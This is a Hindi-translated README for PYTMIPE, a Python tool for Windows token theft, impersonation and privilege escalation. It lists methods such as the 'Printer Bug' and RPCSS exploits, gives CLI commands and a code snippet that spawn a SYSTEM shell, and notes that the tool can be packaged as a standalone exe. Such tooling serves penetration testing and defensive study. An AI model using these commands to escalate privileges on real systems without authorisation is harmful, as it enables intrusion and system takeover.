
विंडोज़ पर विशेषाधिकार वृद्धि के लिए टोकन हेरफेर और प्रतिरूपण हेतु पायथन लाइब्रेरी और क्लाइंट
PYTMIPE (PYthon library for Token Manipulation and Impersonation for Privilege Escalation) एक Python 3 लाइब्रेरी है जो विंडोज टोकन में हेरफेर करने और विंडोज पर अधिक विशेषाधिकार प्राप्त करने के लिए प्रतिरूपण प्रबंधित करने के लिए है। TMIPE python 3 क्लाइंट है जो pytmipe लाइब्रेरी का उपयोग करता है।
स्लाइड्स "Windows Token Manipulation, Impersonation & Privilege Escalation" (अंग्रेज़ी): link
MISC 112 में लेख (फ्रेंच): link
| Method | Required Privilege(s) | OS (no exhaustive) | Direct target (max) |
|---|---|---|---|
| Token creation & impersonation | username & password | All | local administrator |
| Token Impersonation/Theft | SeDebugPrivilege | All | nt authority\system |
| Parent PID spoofing (handle inheritance) | SeDebugPrivilege | >= Vista | nt authority\system |
| Service (SCM) | Local administrator (and high integrity level if UAC enabled) | All | nt authority\system or domain account |
| WMI Event | Local administrator (and high integrity level if UAC enabled) | All | nt authority\system |
| « Printer Bug » LPE | SeImpersonatePrivilege (Service account) | Windows 8.1, 10 & Server 2012R2/2016/2019 | nt authority\system |
| RPCSS Service LPE | SeImpersonatePrivilege (Service account) | Windows 10 & Server 2016/2019 | nt authority\system |
निम्नलिखित गैर-विस्तृत सूची pytmipe लाइब्रेरी में लागू की गई कुछ सुविधाओं को दर्शाती है:
ctypes का अधिकतम उपयोग किया जाता है। pytmipe में pywin32 की कई सुविधाओं को फिर से विकसित किया गया है ताकि बेहतर पोर्टेबिलिटी के लिए pywin32 के उपयोग से बचा जा सके। हालांकि, Task Scheduler मॉड्यूल अभी भी समय की कमी के कारण pywin32 (अधिक सटीक रूप से pythoncom) का उपयोग करता है। अन्य सभी मॉड्यूल केवल ctypes का उपयोग करते हैं।
python क्लाइंट (जिसका नाम tmipe है) के लिए:
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...
**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])
positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
Choose a main command
cangetadmin Check if user can get admin access
printalltokens Print all tokens accessible from current thread
printalltokensbyname
Print all tokens accessible from current thread by account name
printalltokensbypid Print all tokens accessible from current thread by pid
printsystemtokens Print all system tokens accessible from current
searchimpfirstsystem
search and impersonate first system token
imppid impersonate primary token of selected pid and try to spawn cmd.exe
imptoken impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
printerbug exploit the "printer bug" for getting system shell
rpcss exploit "rpcss" for getting system shell
spoof parent PID Spoofing ("handle inheritance)"
impuser create process with creds with impersonation
runas create process with creds as runas
scm create process with Service Control Manager
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
python लाइब्रेरी (जिसका नाम pytmipe है) के लिए, स्रोत कोड और उदाहरण देखें। सामान्यतः, मैंने स्रोत कोड को अच्छी तरह से दस्तावेज़ित किया है... अधिकांश फ़ंक्शन दस्तावेज़ित हैं।
pyinstaller उदाहरणों और स्टैंडअलोन के लिए, src/examples/ फ़ोल्डरों में फ़ाइलें देखें।
यदि आप जानना चाहते हैं कि pytimpe लाइब्रेरी का उपयोग कैसे करें, तो कई उदाहरणों के लिए src/examples फ़ोल्डर देखें।
पहले system टोकन का प्रतिरूपण करने और python क्लाइंट (tmipe) से system के रूप में cmd.exe प्रॉम्प्ट प्राप्त करने के लिए:
python.exe tmipe.py searchimpfirstsystem -vv
pytmipe लाइब्रेरी के माध्यम से वही कार्य करने के लिए, src/examples/searchAndImpersonateFirstSystemToken.py देखें:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
यदि वर्तमान विंडोज उपयोगकर्ता के पास आवश्यक अधिकार हैं, तो यह system के रूप में cmd.exe प्रॉम्प्ट खोलेगा।
बेशक, इस स्रोत कोड से, आप pyinstaller के साथ एक स्टैंडअलोन exe बना सकते हैं।